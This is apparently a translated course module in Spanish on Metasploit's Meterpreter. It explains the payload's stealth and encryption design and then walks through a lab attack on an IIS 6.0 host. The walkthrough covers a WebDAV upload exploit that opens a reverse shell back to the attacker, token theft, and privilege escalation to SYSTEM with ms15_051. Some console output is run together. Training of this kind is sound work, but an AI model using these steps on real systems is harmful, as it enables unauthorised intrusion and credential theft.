El Payload de Meterpreter es un tipo específico de Payload multifacético y extensible que utiliza inyección de DLL para asegurar que la conexión con el host víctima sea estable y difícil de detectar mediante chequeos simples. Además, puede configurarse para ser persistente a través de reinicios o cambios en el sistema. Meterpreter reside completamente en la memoria del host remoto y no deja rastros en el disco duro, lo que lo hace difícil de detectar con técnicas forenses convencionales.
Se le llama el "cuchillo suizo" de la pentesting, y por una buena razón. El propósito de Meterpreter es mejorar específicamente nuestros procedimientos de post-explotación, ofreciéndonos un conjunto seleccionado de herramientas relevantes para una enumeración más sencilla del host objetivo desde dentro. Puede ayudarnos a encontrar diversas técnicas de escalada de privilegios, técnicas de evasión de antivirus, investigación de vulnerabilidades adicionales, proporcionar acceso persistente, hacer pivoteo, etc.
Para una lectura interesante, consulta este post sobre Payloads stageless de Meterpreter y este post sobre la modificación de plantillas de Metasploit para evasión. Estos temas están fuera del alcance de este módulo, pero debemos estar al tanto de estas posibilidades.
Ejecución de Meterpreter
Para ejecutar Meterpreter, solo necesitamos seleccionar cualquier versión de él de la salida de show payloads, teniendo en cuenta el tipo de conexión y el sistema operativo al que estamos atacando.
Cuando se completa el exploit, ocurren los siguientes eventos:
El objetivo ejecuta el stager inicial. Esto suele ser un bind, reverse, findtag, passivex, etc.
El stager carga la DLL precedida por Reflective. El stub Reflective maneja la carga/inyección de la DLL.
El núcleo de Meterpreter se inicializa, establece un enlace cifrado por AES a través del socket y envía un GET. Metasploit recibe este GET y configura el cliente.
Por último, Meterpreter carga extensiones. Siempre cargará stdapi y priv si el módulo otorga derechos administrativos. Todas estas extensiones se cargan a través de cifrado AES.
Cada vez que se envía y se ejecuta el Payload de Meterpreter en el sistema objetivo, recibimos un shell de Meterpreter. Podemos emitir inmediatamente el comando help para ver de qué es capaz el shell de Meterpreter.
MSF - Comandos de Meterpreter
Meterpreter
meterpreter > help
Comandos Principales
Comando
Descripción
?
Menú de ayuda
background
Envía la sesión actual a segundo plano
bg
Alias para background
bgkill
Mata un script de Meterpreter en segundo plano
bglist
Lista los scripts en segundo plano
bgrun
Ejecuta un script de Meterpreter como un hilo en segundo plano
channel
Muestra información o controla canales activos
close
Cierra un canal
disable_unicode_encoding
Desactiva la codificación de cadenas Unicode
enable_unicode_encoding
Activa la codificación de cadenas Unicode
exit
Termina la sesión de Meterpreter
get_timeouts
Obtiene los valores de tiempo de espera de la sesión
guid
Obtiene el GUID de la sesión
help
Menú de ayuda
info
Muestra información sobre un módulo Post
irb
Abre un shell interactivo de Ruby en la sesión actual
load
Carga una o más extensiones de Meterpreter
machine_id
Obtiene el ID de MSF de la máquina conectada a la sesión
migrate
Migra el servidor a otro proceso
pivot
Gestiona oyentes de pivote
pry
Abre el depurador Pry en la sesión actual
quit
Termina la sesión de Meterpreter
read
Lee datos de un canal
resource
Ejecuta los comandos almacenados en un archivo
run
Ejecuta un script de Meterpreter o módulo Post
secure
(Re)Negocia la encriptación de paquetes TLV en la sesión
sessions
Cambia rápidamente a otra sesión
set_timeouts
Establece los valores de tiempo de espera de la sesión
sleep
Obliga a Meterpreter a permanecer en silencio, luego restablece la sesión
transport
Cambia el mecanismo de transporte actual
use
Alias obsoleto para "load"
uuid
Obtiene el UUID para la sesión actual
write
Escribe datos en un canal
Algunos de estos comandos también están disponibles en la hoja de trucos del módulo para referencia.
Conceptos Clave sobre Meterpreter
La idea principal que necesitamos entender sobre Meterpreter es que es tan bueno como obtener un shell directo en el sistema operativo objetivo, pero con más funcionalidad. Los desarrolladores de Meterpreter establecieron claros objetivos de diseño para que el proyecto pudiera crecer en usabilidad en el futuro. Meterpreter necesita ser:
Sigiloso
Poderoso
Extensible
Sigiloso
Meterpreter, cuando se lanza y llega al objetivo, reside completamente en la memoria y no escribe nada en el disco. No se crean nuevos procesos, ya que Meterpreter se inyecta en un proceso comprometido. Además, puede realizar migraciones de procesos de un proceso en ejecución a otro.
Con la ahora actualizada msfconsole-v6, todas las comunicaciones del payload de Meterpreter entre el host objetivo y nosotros están cifradas usando AES para asegurar la confidencialidad e integridad de las comunicaciones de datos.
Todo esto proporciona pruebas forenses limitadas y también poco impacto en la máquina víctima.
Poderoso
El uso de un sistema de comunicación canalizado entre el host objetivo y el atacante demuestra ser muy útil. Podemos notar esto de primera mano cuando inmediatamente generamos un shell del sistema operativo dentro de nuestro escenario de Meterpreter abriendo un canal dedicado para ello. Esto también permite el uso de tráfico cifrado por AES.
Extensible
Las características de Meterpreter pueden aumentarse constantemente en tiempo de ejecución y cargarse a través de la red. Su estructura modular también permite agregar nueva funcionalidad sin necesidad de recompilarlo.
Usando Meterpreter
Ya hemos explorado los conceptos básicos de Meterpreter en la sección de Payloads. Ahora, observaremos las verdaderas fortalezas del shell de Meterpreter y cómo puede mejorar la efectividad de la evaluación y ahorrar tiempo durante un compromiso. Comenzaremos realizando un escaneo básico contra un objetivo conocido. Haremos esto a la carta, haciendo todo desde dentro de msfconsole para beneficiarnos del seguimiento de datos en nuestro objetivo.
MSF - Escaneando el Objetivo
msf6 > db_nmap -sV -p- -T5 -A 10.10.10.15
[*] Nmap: Iniciando Nmap 7.80 ( https://nmap.org ) a las 2020-09-03 09:55 UTC
[*] Nmap: Informe de escaneo de Nmap para 10.10.10.15
[*] Nmap: El host está activo (latencia de 0.021s).
[*] Nmap: No mostrado: 65534 puertos filtrados
[*] Nmap: PUERTO ESTADO SERVICIO VERSIÓN
[*] Nmap: 80/tcp abierto http Microsoft IIS httpd 6.0
[*] Nmap: | http-methods:
[*] Nmap: |_ Métodos potencialmente arriesgados: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
[*] Nmap: |_http-server-header: Microsoft-IIS/6.0
[*] Nmap: |_http-title: En construcción
[*] Nmap: | http-webdav-scan:
[*] Nmap: | Opciones Públicas: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
[*] Nmap: | Tipo de WebDAV: Desconocido
[*] Nmap: | Métodos Permitidos: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
[*] Nmap: | Fecha del Servidor: Thu, 03 Sep 2020 09:56:46 GMT
[*] Nmap: |_ Tipo de Servidor: Microsoft-IIS/6.0
[*] Nmap: Detección de servicios realizada. Por favor informa cualquier resultado incorrecto en https://nmap.org/submit/.
[*] Nmap: Escaneo de Nmap completado: 1 dirección IP (1 host activo) escaneado en 59.74 segundos
msf6 > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
10.10.10.15 Desconocido dispositivo
msf6 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.10.10.15 80 tcp http abierto Microsoft IIS httpd 6.0
A continuación, buscamos información sobre los servicios que se ejecutan en esta máquina. Específicamente, queremos explorar el puerto 80 y qué tipo de servicio web se está alojando allí.
MSF - Búsqueda de Exploits
msf6 > search iis_webdav_upload_asp
# Nombre Fecha de Divulgación Rango Comprobación Descripción - ---- --------------------- ---- ----------- ----------- 0 exploit/windows/iis/iis_webdav_upload_asp 2004-12-31 excelente No Ejecución de Código por Acceso de Escritura de Microsoft IIS WebDAV
msf6 > use 0
[*] No se ha configurado ningún payload, utilizando por defecto windows/meterpreter/reverse_tcp
msf6 exploit(windows/iis/iis_webdav_upload_asp) > show options
Nombre Configuración Actual Requerido Descripción ---- ------------------------- -------- ----------- HttpPassword no La contraseña HTTP para especificar autenticación HttpUsername no El nombre de usuario HTTP para especificar autenticación METHOD move sí Mueve o copia el archivo en el sistema remoto de .txt -> .asp (Aceptado: move, copy)
PATH /metasploit%RAND%.asp sí La ruta para intentar subir Proxies no Una cadena proxy en el formato tipo:host:port[,tipo:host:port][...] RHOSTS sí El/los host(s) objetivo(s), rango identificador CIDR, o archivo de hosts con sintaxis 'file:<path>'
RPORT 80 sí El puerto de destino (TCP) SSL false no Negociar SSL/TLS para conexiones salientes VHOST no Host virtual del servidor HTTP
NombreConfiguraciónActualRequeridoDescripción-------------------------------------------EXITFUNC process sí Técnica de salida (Aceptado:'', seh, thread, process, none) LHOST 10.10.239.181 sí La dirección de escucha (se puede especificar una interfaz) LPORT 4444 sí El puerto de escucha
Id Nombre-- ----0 Automático
Procedemos a establecer los parámetros necesarios. Por ahora, estos serían LHOST y RHOST, ya que todo lo demás en el objetivo parece estar en la configuración predeterminada.
MSF - Configuración del Exploit y Payload
msf6 exploit(windows/iis/iis_webdav_upload_asp) > set RHOST 10.10.10.15
RHOST => 10.10.10.15
msf6 exploit(windows/iis/iis_webdav_upload_asp) > set LHOST tun0
LHOST => tun0
msf6 exploit(windows/iis/iis_webdav_upload_asp) > run
[*] Controlador TCP inverso iniciado en 10.10.14.26:4444 [*] Comprobando /metasploit28857905.asp[*] Subiendo 612435 bytes a /metasploit28857905.txt...[*] Moviendo /metasploit28857905.txta /metasploit28857905.asp...[*] Ejecutando /metasploit28857905.asp...[*] Enviando stage (175174 bytes) a 10.10.10.15[*] Eliminando /metasploit28857905.asp (esto no siempre funciona)...[!] Fallo en la eliminación de /metasploit28857905.asp [403 Forbidden][*] Sesión de Meterpreter 1 abierta (10.10.14.26:4444 -> 10.10.10.15:1030) a las 2020-09-03 10:10:21 +0000
meterpreter >
Tenemos nuestro shell de Meterpreter. Sin embargo, echemos un vistazo más de cerca a la salida anterior. Podemos ver que hay un archivo .asp llamado metasploit28857905 que existe en el sistema objetivo en este momento. Una vez que se obtiene el shell de Meterpreter, como se mencionó antes, residirá en la memoria. Por lo tanto, el archivo no es necesario y se intentó eliminar mediante msfconsole, que falló debido a permisos de acceso. Dejar rastros como estos no es beneficioso para el atacante y crea una gran responsabilidad.
Desde la perspectiva del administrador del sistema, encontrar archivos que coincidan con este tipo de nombre o ligeras variaciones de él puede ser beneficioso para detener un ataque en medio de su ejecución. Dirigir coincidencias de regex contra nombres de archivos o firmas como las anteriores no permitirá ni siquiera que un atacante genere un shell de Meterpreter antes de ser neutralizado por las medidas de seguridad configuradas correctamente.
Procedemos con nuestros exploits. Al intentar ver qué usuario estamos ejecutando, recibimos un mensaje de acceso denegado. Debemos intentar migrar nuestro proceso a un usuario con más privilegios.
MSF - Migración de Meterpreter
meterpreter > getuid
[-] 1055:Operación fallida:Acceso denegado.
meterpreter > ps
PID PPID Nombre Arch Sesión Usuario Ruta--- ---- ---- ---- ------- ---- ----0 0 [System Process]4 0 System216 1080 cidaemon.exe...1712 396 alg.exe1836 592 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiprvse.exe1920 396 dllhost.exe2232 3552 svchost.exe x86 0 C:\WINDOWS\Temp\rad9E519.tmp\svchost.exe2312 592 wmiprvse.exe3552 1460 w3wp.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\windows\system32\inetsrv\w3wp.exe3624 592 davcdata.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\inetsrv\davcdata.exe4076 1080 cidaemon.exe
meterpreter > steal_token 1836
yamlCopiar códigoToken robado con nombre de usuario:NT AUTHORITY\NETWORK SERVICE
meterpreter > getuid
Usuario del servidor: NT AUTHORITY\NETWORK SERVICE
Ahora que hemos establecido al menos un nivel de privilegio en el sistema, es hora de escalar ese privilegio. Así que, miramos alrededor en busca de algo interesante, y en la ubicación C:\Inetpub\ encontramos una carpeta interesante llamada AdminScripts. Sin embargo, desafortunadamente, no tenemos permiso para leer lo que hay dentro.
MSF - Interacción con el Objetivo
c:\Inetpub>dir
dir
Volume en la unidad C no tiene etiqueta.
Número de serie de volumen es 246C-D7FE
Directorio de c:\Inetpub
04/12/2017 05:17 PM <DIR> .
04/12/2017 05:17 PM <DIR> ..
04/12/2017 05:16 PM <DIR> AdminScripts
09/03/2020 01:10 PM <DIR> wwwroot
0 Archivo(s) 0 bytes
4 Directorio(s) 18,125,160,448 bytes libres
c:\Inetpub>cd AdminScripts
cdAdminScriptsAccesodenegado.
Podemos decidir fácilmente ejecutar el módulo de sugerencia de exploits locales, adjuntándolo a la sesión activa de Meterpreter. Para hacerlo, enviamos la sesión de Meterpreter actual al segundo plano, buscamos el módulo que necesitamos y configuramos la opción SESSION al número de índice para la sesión de Meterpreter, vinculando el módulo a ella.
# Nombre Fecha de Divulgación Rango Comprobación Descripción---------------------------------------------------- 0 post/multi/recon/local_exploit_suggester normal No Sugeridor de Exploits Locales Multi Recon
msf6 exploit(windows/iis/iis_webdav_upload_asp) > use 0
msf6 post(multi/recon/local_exploit_suggester) > show options
Nombre Configuración Actual Requerido Descripción---- -------------------- -------- ----------- SESSION sí La sesión para ejecutar este módulo SHOWDESCRIPTION false sí Muestra una descripción detallada de los exploits disponibles
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post/multi/recon/local_exploit_suggester) > run
[*] 10.10.10.15 - Recopilando exploits locales para x86/windows...[*] 10.10.10.15 - Se están probando 34 comprobaciones de exploit...nil versions are discouraged and will be deprecated in Rubygems 4[+] 10.10.10.15 - exploit/windows/local/ms10_015_kitrap0d: El servicio está en ejecución, pero no se pudo validar.[+] 10.10.10.15 - exploit/windows/local/ms14_058_track_popup_menu: El objetivo parece ser vulnerable.[+] 10.10.10.15 - exploit/windows/local/ms14_070_tcpip_ioctl: El objetivo parece ser vulnerable.[+] 10.10.10.15 - exploit/windows/local/ms15_051_client_copy_image: El objetivo parece ser vulnerable.[+] 10.10.10.15 - exploit/windows/local/ms16_016_webdav: El servicio está en ejecución, pero no se pudo validar.[+] 10.10.10.15 - exploit/windows/local/ppr_flatten_rec: El objetivo parece ser vulnerable.[*] Ejecución del módulo de post completada
Ejecutar el módulo de recon nos presenta con una multitud de opciones. Al revisar cada uno por separado, llegamos a la entrada ms15_051_client_copy_image, que resulta ser exitosa. Este exploit nos coloca directamente en un shell de root, dándonos el control total sobre el sistema objetivo.
MSF - Escalación de Privilegios
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms15_051_client_copy_images
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms15_051_client_copy_image) > show options
msf6 exploit(windows/local/ms15_051_client_copy_image) > set session 1
session => 1
msf6 exploit(windows/local/ms15_051_client_copy_image) > set LHOST tun0
LHOST => tun0
msf6 exploit(windows/local/ms15_051_client_copy_image) > run
[*] Started reverse TCP handler on 10.10.14.26:4444
[*] Launching notepad to host the exploit...
[+] Process 844 launched.
[*] Reflectively injecting the exploit DLL into 844...
[*] Injecting exploit into 844...
[*] Exploit injected. Injecting payload into 844...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (175174 bytes) to 10.10.10.15
[*] Meterpreter session 2 opened (10.10.14.26:4444 -> 10.10.10.15:1031) at 2020-09-03 10:35:01 +0000
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Desde aquí, podemos proceder a usar la gran cantidad de funcionalidades de Meterpreter. Por ejemplo, extraer hashes, suplantar cualquier proceso que deseemos, entre otros.